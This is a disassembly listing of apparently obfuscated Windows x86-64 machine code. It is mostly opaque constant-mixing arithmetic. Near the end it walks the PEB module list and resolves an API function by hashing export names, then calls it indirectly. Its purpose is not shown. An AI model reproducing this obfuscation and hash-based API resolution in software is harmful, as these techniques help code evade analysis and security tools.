imul rdx, r12, 0xfffffffffe4a286a
mov qword [rbp + 0x558], rdx
lea r14, [rdx + r15]
mov r11, rbx
imul r11, rsi
sub r11, r14
xor r11, r9
mov cl, r14b
xor cl, 0xfa
and cl, 0xf
rol r11, cl
movabs rax, 0x26ee63228f3d8326
imul r12, rax
movabs rax, 0x2ee49f6d274b4ef1
sub r12, rax
xor r11, r12
mov rax, r14
sub rax, qword [0x14035f078]
xor r11, rax
xor r11, r10
xor r11, rdi
mov rax, r11
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140294c96
sub rax, 1
je 0x140294b6e
sub rax, 1
je 0x140294a79
cmp rax, 1
jne 0x140294d41
mov r9, r14
imul r9, rbx
movabs rax, 0x613f1e858cc19a7d
add rax, r11
xor r9, rax
ror r9, 0xa
shr r9, 0xc
xor r9, rdi
not r9
movabs rcx, 0x8357207d61e2
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x629d37c9c1d9193d
xor rdx, rax
movzx eax, r11b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9789d8d1d
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, r8
mov eax, 0xa9465ff7
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x27ccd70888b495d0
sub r8, r9
shr r8, cl
movabs rax, 0x6227d73a06818795
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [r12 + rcx*8]
imul rax, r11
sub rax, rsi
xor r8, rax
jmp 0x140294d41
movabs rax, 0xaaaaaa1aa95fa2c9
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed6b527e85
imul rcx, rax
movabs r15, 0xfff17ca87e3d94b5
mov rax, r10
xor rax, r15
sub rcx, rax
movabs rax, 0xffff7e8a8f4f9015
imul rdx, rax
movabs rbx, 0x249a18892d2adf62
add rbx, rcx
add rbx, rdx
movabs rax, 0x277cd7be7b8f75a9
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r14, rbx
not r14
lea rax, [0x14035f060]
imul r14, qword [rax + rcx*8]
xor r14, 0xfffffffffc0a7419
lea ecx, [r11 + 0xb]
and cl, 0x3f
rol r14, cl
movabs rcx, 0xdf97debfeaf28157
xor r13, rcx
movabs rcx, 0x7c7a7dc6950d7ea8
and r13, rcx
imul r14, r13
mov rcx, r14
ror rcx, 0x1e
not rcx
movabs rax, 0x9b2de6b2d18fde38
imul rcx, rax
mov rax, rbx
sub rax, r14
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x140294d41
movabs rax, 0xb49521319f1794b5
imul r11, rax
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x621fb2b1aabf5858
mov rax, rdi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, r14b
and cl, 0x3f
rol r10, cl
lea rcx, [r11 + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd4e5540a7a7
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f59bd4e4
or r10, rax
mov r8, qword [0x14035f070]
imul r8, r9
sub r8, r14
mov rax, rsi
sub rax, r10
xor r8, rax
movabs rax, 0xc7a7c6a6a493d4e9
xor r8, rax
movabs rax, 0xcccccccccccccccd
mul rdi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rdi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, r14
imul rdx, r8
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, rdi
movabs rdi, 0x78958946bc198f3
add rdi, rax
xor rdi, rsi
mov al, bl
add al, al
lea ecx, [rax + rbx]
shl cl, 2
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140294d41
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, r11
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, r14
not rsi
imul rsi, rbx
movabs rax, 0x7cd8a7de79628508
imul rsi, rax
mov rax, r10
imul rax, rdi
mov rdi, rsi
xor rdi, rax
imul rsi, qword [0x14035f060], 0xfffffffffe4a286a
mov rdx, qword [0x14035f068]
sub rsi, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140294d34
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rsi, cl
add rsi, r15
add rsi, qword [rbp + 0x558]
movabs rax, 0xff055d7b89298fc5
xor r9, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rdi
lea rax, [0x14035f060]
imul r10, qword [rax + r9*8]
not r14
imul r14, r11
imul r14, rsi
imul r14, r8
movabs rcx, 0xf5ed7e878e9ac519
xor rcx, rbx
not rcx
xor rcx, r14
sub rcx, r10
call fcn.14001fc7c
mov qword [0x14036d9e8], rax
xor r15d, r15d
mov dword [rbp - 8], r15d
mov dword [rbp - 8], 0x25d28cb0
mov eax, dword [rbp - 8]
add eax, 0xd504f935
xor eax, 0x8e8a6709
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x241b6216
xor eax, 0xa1418c97
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x3a5850a5
add eax, ecx
xor eax, 0x7506cdc9
add eax, 0x28077a81
xor eax, 0x1ab4d06f
mov edx, dword [0x14035f030]
xor edx, 0x24abedc7
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdb541238
sub edx, eax
sub edx, ecx
add edx, 0x5faa4057
xor edx, 0x5ea00188
mov dword [rbp - 8], edx
movsxd rax, edx
mov qword [rbp + 0x558], rax
mov dword [rbp - 8], r15d
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.140021584
mov dword [rbp - 4], r15d
mov dword [rbp - 4], 0xd1213104
mov qword [rbp + 0xd0], r15
movabs rax, 0xf9823f9ff0008fa5
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], r15
movabs rax, 0x93b63463beb2070b
mov qword [rbp + 0xd8], rax
movabs rcx, 0xf33a52b69bbb0f03
add rcx, qword [rbp + 0xd8]
movabs rax, 0x34553662530a2dbf
xor rcx, rax
mov r11, qword [0x14035f058]
sub rcx, r11
mov r10, qword [0x14035f050]
sub rcx, r10
movabs rax, 0xedf047f5b38c02c
sub rcx, rax
movabs rax, 0xf8f8cd97db709e71
xor rcx, rax
mov r9, qword [0x14035f048]
sub rcx, r9
movabs rax, 0x47d654b8c81c260d
add rcx, rax
mov rbx, qword [0x14035f040]
add rcx, rbx
movabs rax, 0x5a9179a7b65f1ce9
xor rcx, rax
movabs rax, 0x5f627dc6e060017c
sub rcx, rax
movabs rax, 0x663b3cd2135b8fd7
xor rcx, rax
movabs rdx, 0x3483ce442f4b62c9
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94ada6eea90
mov r8, qword [0x14035f038]
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52591156f
mov rdi, qword [0x14035f030]
mov rcx, rdi
xor rcx, rax
movabs r14, 0xe0b56d8ff0f1ede5
add r14, rdx
add r14, rcx
movabs rax, 0xcd3843e97ae58470
xor r14, rax
mov qword [rbp + 0xd8], r14
movabs rcx, 0xf33a52b71aa57e83
add rcx, qword [rbp + 0xd0]
movabs rax, 0xa3d53662530aacaa
xor rcx, rax
sub rcx, r11
sub rcx, r10
movabs rax, 0x7120fb80a34a8086
add rcx, rax
movabs rax, 0xf8f8cd975a8a8533
xor rcx, rax
sub rcx, r9
movabs rax, 0x7d654b81bd4ebb2
add rcx, rax
add rcx, rbx
movabs rax, 0x5a9179a7259bb5bb
xor rcx, rax
movabs rax, 0x5f627dc682a3a37e
sub rcx, rax
movabs rax, 0xea3b3cd1d3e260c4
xor rcx, rax
movabs rdx, 0xb483ce43b3d95c56
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94adc6a944e
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b523956bb1
mov rcx, rdi
xor rcx, rax
movabs rsi, 0xe0b56d91ee975523
add rsi, rdx
add rsi, rcx
movabs rax, 0xce880257ed1323ee
xor rsi, rax
mov qword [rbp + 0xd0], rsi
mov eax, dword [rbp - 4]
add eax, 0xdb458fb5
xor eax, 0x250a6d4a
sub eax, r10d
sub eax, r11d
sub eax, 0x5bf75fad
xor eax, 0x9ae7f3bd
sub eax, r9d
add eax, 0x71dba45a
add eax, ebx
xor eax, 0x6de5221f
add eax, 0x285ee003
xor eax, 0x6394532a
xor edi, 0x2492eb6d
sub edi, eax
xor r8d, 0xdb6d1492
sub edi, r8d
sub edi, ebx
sub edi, 0x16390ed
xor edi, 0xd297c82a
mov dword [rbp - 4], edi
mov eax, dword [0x14037da24]
test eax, eax
jne 0x1402950bc
mov eax, r15d
jmp 0x1402950e0
mov dword [rbp + 0x218], eax
lea rax, [rbp + 0x208]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.1402a1240
movsxd rcx, edi
mov rdx, r15
cmp rax, rcx
setb dl
and rsi, r14
mov rax, r15
cmp rdx, rsi
sete al
mov qword [rbp + 0x558], rax
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xd0], r15
mov dword [rbp - 4], r15d
movabs rax, 0x3000000000000000
movabs r9, 0xf1528e1aad9061ad
movabs r8, 0x808adfa0fc71e71f
mov rsi, qword [0x14035f078]
imul rsi, rax
movabs rax, 0xd000000000000000
xor rsi, rax
mov r13, rsi
imul r13, r8
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r10, rsi
and r10, r8
lea rbx, [0x14035f060]
imul r10, qword [rbx + rcx*8]
movabs rax, 0xeaf23179835b068e
imul r10, rax
shr r10, 3
movabs rax, 0x7227b37c663ecf21
xor r10, rax
movabs rax, 0xffffff57d775cc01
mov r14, rsi
imul r14, rax
sub r14, 0x15fc17a
xor r14, r10
xor r14, qword [0x14035f060]
mov rax, r10
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bdec67320
imul rax, rcx
not rax
and r14, rax
ror r14, 0xe
shr r14, 8
movabs r15, 0x7f75205f038e18e1
lea rcx, [rsi + r15]
xor rcx, 0xffffffffe048782d
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xbbb194c9d554c240
mov rdi, qword [rbx + rcx*8]
imul rdi, rax
sub rdi, r15
movabs rcx, 0x69bb0f66d7efbbcc
mov rax, r10
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r12, rdi
xor r12, rsi
lea rcx, [rdi + r15]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [rbx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x31
and ecx, 0x8000003f
jge 0x140295280
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffea03e86
mov qword [rsp + 0x78], rdx
lea r11, [rdx + r15]
mov rbx, rdi
imul rbx, r14
sub rbx, r11
xor rbx, r9
mov cl, r11b
xor cl, 0xfe
and cl, 0xf
rol rbx, cl
mov rax, r11
sub rax, qword [0x14035f078]
xor rbx, rax
movabs rax, 0x6d7eeec9eef87c3a
imul r12, rax
movabs rax, 0x25655a72e206f5c1
sub r12, rax
xor rbx, r12
xor rbx, r10
xor rbx, rsi
mov rax, rbx
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x14029561e
sub rax, 1
je 0x1402954fb
sub rax, 1
je 0x140295407
cmp rax, 1
jne 0x1402956c7
mov r9, r11
imul r9, rdi
movabs rax, 0xe01d237447ffaae1
add rax, rbx
xor r9, rax
ror r9, 0x36
shr r9, 0xc
xor r9, rsi
not r9
movabs rcx, 0x83573c377d26
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x7ff7a52774a24541
xor rdx, rax
movzx eax, r9b
movzx ecx, bl
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db964d791d9
sub rax, rdi
mov rdi, rdx
xor rdi, rax
mov rcx, rdi
imul rcx, r8
mov eax, 0xb50c4333
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x344f86f8e6ef6e28
sub r8, r9
shr r8, cl
movabs rdx, 0x7f7d44e74b164ce1
mov rcx, qword [rsp + 0x78]
add rcx, rdx
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, rbx
imul rax, qword [r12 + rcx*8]
imul rax, rbx
sub rax, r14
xor r8, rax
jmp 0x1402956c7
movabs rax, 0xaaaaaa1ab515be0d
mov rcx, rbx
xor rcx, rax
movabs rax, 0x1206ed77186241
imul rcx, rax
movabs rdi, 0xfff17ca862778871
mov rax, r10
xor rax, rdi
sub rcx, rax
movabs rax, 0xffff7e8a93058cd1
imul rdx, rax
movabs rdi, 0xf2fb367df07e882
add rdi, rcx
add rdi, rdx
movabs rax, 0x277cd7be67c5696d
mov rcx, rdi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r11, rdi
not r11
lea rax, [0x14035f060]
imul r11, qword [rax + rcx*8]
xor r11, 0xffffffffe04068dd
lea ecx, [rbx + 0xf]
and cl, 0x3f
rol r11, cl
movabs rcx, 0x284871c200000000
xor r13, rcx
movabs rcx, 0x7c7a7dc68947626c
and r13, rcx
imul r11, r13
mov rcx, r11
ror rcx, 0x3d
not rcx
movabs rax, 0x9b2de6b2a0a7ad28
imul rcx, rax
mov rax, rdi
sub rax, r11
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x1402956c7
movabs rcx, 0xcc341b28bb781851
imul rbx, rcx
movabs rax, 0xd79435e50d79435f
mul rbx
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, bl
sub cl, dl
movabs rdx, 0x7f75205f038e18e0
mov rax, rsi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, r11b
and cl, 0x3f
rol r10, cl
lea rcx, [rbx + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1fa0fc71e71f
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7e9d1c820
or r10, rax
mov r8, qword [0x14035f070]
imul r8, r9
sub r8, r11
mov rax, r14
sub rax, r10
xor r8, rax
movabs rcx, 0xc7a7c6a6b8d9c82d
xor r8, rcx
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, rbx
imul rdx, r11
imul rdx, r8
shr rdx, cl
mov rax, rdi
sub rax, rdx
sub rax, rsi
movabs rsi, 0x7895894778b8437
add rsi, rax
xor rsi, r14
mov cl, dil
shl cl, 3
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x1402956c7
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, rbx
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, r11
not r14
imul r14, rdi
movabs rax, 0x7cd8a7de652899cc
imul r14, rax
mov rax, r10
imul rax, rsi
mov rsi, r14
xor rsi, rax
imul r14, qword [0x14035f060], 0xfffffffffea03e86
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1402956bc
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
add r14, r15
add r14, qword [rsp + 0x78]
movabs rcx, 0xff055d7b95639301
xor r9, rcx
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rsi
lea rax, [0x14035f060]
imul r10, qword [rax + r9*8]
not r11
imul r11, rbx
imul r11, r14
imul r11, r8
movabs rcx, 0xf5ed7e8792d0d9dd
xor rcx, rdi
not rcx
xor rcx, r11
sub rcx, r10
call fcn.14001ff04
mov qword [0x14036d998], rax
mov rax, qword [rbp + 0x558]
and dword [rbp], 0
mov dword [rbp], 0xe8454587
mov eax, dword [rbp]
add eax, 0xd9cecc08
xor eax, 0x615d6bd3
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x54f2fb63
xor eax, 0x50649278
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xc9585af9
add eax, ecx
xor eax, 0xc3909950
sub eax, 0x3bf45f95
xor eax, 0x1b7c0b7
lea edx, [rcx + 0x37ea2fef]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0x27673984
sub edx, eax
mov eax, dword [0x14035f030]
xor eax, 0xd898c67b
add eax, 0x367970ed
add eax, edx
xor eax, 0x4b74ba6c
mov dword [rbp], eax
and dword [rbp], 0
jmp 0x14029a0af
movabs rsi, 0xfd46c8ea64c7e1f3
movabs rbx, 0xc91ff723f7081195
mov rdi, r15
movabs rax, 0x6ef05b39ed9a1d48
movabs r11, 0x69d264945e996cbe
mov r13, qword [0x14035f070]
mov r14, r13
imul r14, rax
not r14
movabs rcx, 0x962d9b6bad0647ec
mov rax, qword [0x14035f060]
xor rax, rcx
and r14, rax
ror r14, 0x38
shr r14, 8
movabs rax, 0x6de5cee14b0967d8
mov r9, r13
imul r9, rax
movabs r8, 0x36e008dc08f7ee6b
sub r9, r8
movabs rax, 0x2dfe3c2400000000
xor r9, rax
shr r9, 0x1f
not r9
lea rcx, [r9 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r9b
lea rdx, [0x14035f060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xcd
mov edx, 0x8000003f
and ecx, edx
jge 0x140295898
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r9
ror rax, cl
not rax
movabs rcx, 0x2ba21a2ef66abedc
mov r12, rax
imul r12, rcx
add r8, r12
mov r10, r9
imul r10, r14
sub r10, r8
xor r10, rsi
movzx r15d, r8b
mov ecx, r15d
xor ecx, 2
and ecx, 0xf
and ecx, edx
jge 0x1402958da
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
movabs rcx, 0xd1b16942bdadb20c
imul rax, rcx
movabs rcx, 0x4898e6eca08520b9
sub rax, rcx
xor r10, rax
mov rax, r8
sub rax, qword [0x14035f078]
xor r10, rax
xor r10, r11
mov rax, r10
and eax, 1
xor rax, 2
je 0x140295bfb
sub rax, 1
je 0x140295afb
sub rax, 1
je 0x140295a29
cmp rax, 1
jne 0x140295c7a
mov rsi, r8
imul rsi, r9
movabs rax, 0x8805dfda6f64edbf
add rax, r10
xor rsi, rax
ror rsi, 2
shr rsi, 0xc
not rsi
movabs rcx, 0x83573e6cc5da
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x36628da47d800b37
xor rdx, rax
movzx eax, sil
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9668c2925
sub rax, r9
mov r9, rdx
xor r9, rax
mov rcx, r9
imul rcx, rbx
mov eax, 0xb757fbcf
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x14035f060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0xcbffedaf6b7c7856
sub rbx, rsi
shr rbx, cl
movabs rcx, 0x36e82d644ecb796f
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r13 + rcx*8]
imul rax, r10
sub rax, r14
xor rbx, rax
jmp 0x140295c7a
movabs rcx, 0xaaaaaa1ab74e06f1
mov r9, r10
xor r9, rcx
movabs rcx, 0x1206ed7543dabd
imul r9, rcx
movabs rcx, 0xffff7e8a915e342d
imul r12, rcx
movabs rcx, 0x617e8f9068f57cc9
add r9, rcx
add r9, r12
movabs rax, 0x277cd7be659ed191
mov rcx, r9
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r9
not r8
lea rax, [0x14035f060]
imul r8, qword [rax + rcx*8]
xor r8, 0xffffffffe21bd021
lea ecx, [r10 - 0xd]
and cl, 0x3f
rol r8, cl
movabs rax, 0x306201c080000000
imul r8, rax
mov rcx, r8
ror rcx, 0x1f
not rcx
movabs rax, 0x9b2de6b2a9c94ed8
imul rcx, rax
mov rax, r9
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140295c7a
movabs rax, 0x4676634ad45ddda5
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x2b937159b381e0c
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
and r15d, 0x8000003f
jge 0x140295b4e
dec r15d
or r15d, 0xffffffc0
inc r15d
mov cl, r15b
rol r11, cl
movabs rcx, 0x36e008dc08f7ee6b
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff723f7081195
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7eb8a70dc
or r11, rax
mov rbx, r13
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6ba8270d1
xor rbx, rax
mov rax, r10
imul rax, r8
imul rax, rbx
mov rdi, r9
sub rdi, rax
movabs rax, 0x789589475d03ccb
add rdi, rax
xor rdi, r14
movzx eax, r9b
imul ecx, eax, 0xf4
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140295c7a
mov rcx, r10
imul rcx, qword [0x14035f080]
and rcx, qword [0x14035f080]
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x3e
imul r11, r8
mov rdi, r14
not rdi
imul rdi, r9
movabs rax, 0x7cd8a7de67732130
imul rdi, rax
imul r14, qword [0x14035f060], 0xfffffffff39f2b52
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140295c67
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x36e008dc08f7ee6b
add r14, rax
add r14, r12
movabs rax, 0xff055d7b97382bfd
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x14035f060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r10
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e87908b6121
xor rcx, r9
not rcx
xor rcx, r8
sub rcx, r11
call fcn.14028ffac
mov qword [0x14036d9e8], rax
xor edi, edi
mov r15d, 0x6d8e242e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x140295d5b
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x6bc1d3f0
jmp 0x140295d4d
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, 0x31
xor r8d, 0x4764996c
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x140295d27
cmp r10d, edi
jne 0x140295e69
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x140295e69
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x140295e69
mov r13d, dword [rbx + 0x20]
dec esi
lea rdx, [r10 + rsi*4]
mov r11d, dword [rdx + r13]
add r11, r10
mov r14d, 0x6bc1d3f0
jmp 0x140295dc4
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r14d
xor edx, r8d
mov r14d, r9d
imul r14d, edx
mov dl, byte [r11]
inc r11
test dl, dl
jne 0x140295da1
cmp r14d, r15d
je 0x140295ddc
test esi, esi
jne 0x140295d8c
jmp 0x140295e69
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + rsi*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x140295e71
lea rax, [rbx + rcx]
cmp r8, rax
jae 0x140295e71
mov edi, 0x6bc1d3f0
mov r15d, edi
jmp 0x140295e28
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, edi
xor eax, ecx
mov edi, edx
imul edi, eax
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140295e0b
jmp 0x140295e4e
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, r15d
xor eax, ecx
mov r15d, edx
imul r15d, eax
inc r8
mov al, byte [r8]
test al, al
jne 0x140295e31
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140295cfb
mov rcx, qword [rbp + 0x90]
call r8
mov rsi, rax
mov qword [rbp - 0x70], rax
and qword [rbp + 0xe0], 0
movabs rax, 0x4be9f7de01909ff2
mov qword [rbp + 0xe0], rax
movabs rax, 0xf33a52b50f7ac403
mov rdx, qword [rbp + 0xe0]
add rdx, rax
movabs rax, 0xe95536625308a17f
xor rdx, rax
sub rdx, qword [0x14035f058]
sub rdx, qword [0x14035f050]
movabs rax, 0xedf047f5693ff4b
sub rdx, rax
movabs rax, 0xf8f8cd996de1ea9d
xor rdx, rax
sub rdx, qword [0x14035f048]
movabs rcx, 0xc7d654bae1fd6bdb
add rcx, rdx
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179a97a587275
xor rcx, rax
movabs rax, 0x5f627dc6fac334f8
sub rcx, rax
movabs rax, 0xbe3b3cd2d988175a
xor rcx, rax
movabs rax, 0x3483ce45b0b5ebbc
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad43de964
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52bc2169b
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d89d9bdc039
add rax, rdx
add rax, rcx
movabs rcx, 0x639875e7d52e78c
xor rax, rcx
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xe0], rax
